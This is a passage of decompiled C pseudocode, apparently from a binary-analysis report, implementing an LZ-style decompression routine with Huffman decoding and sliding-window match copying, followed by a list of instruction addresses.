						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
